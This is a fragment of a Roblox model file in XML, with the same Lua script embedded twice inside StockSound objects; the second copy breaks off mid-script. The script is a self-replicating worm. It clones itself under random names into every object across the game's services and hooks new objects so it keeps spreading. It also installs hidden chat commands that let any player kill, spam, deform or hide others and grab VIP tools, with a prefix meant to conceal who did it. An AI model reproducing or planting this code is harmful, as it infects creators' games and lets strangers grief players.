-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX679">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-177.5</X>
								<Y>10.6999998</Y>
								<Z>-7.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX680">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">8f6y</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX681">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">pc8yf</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
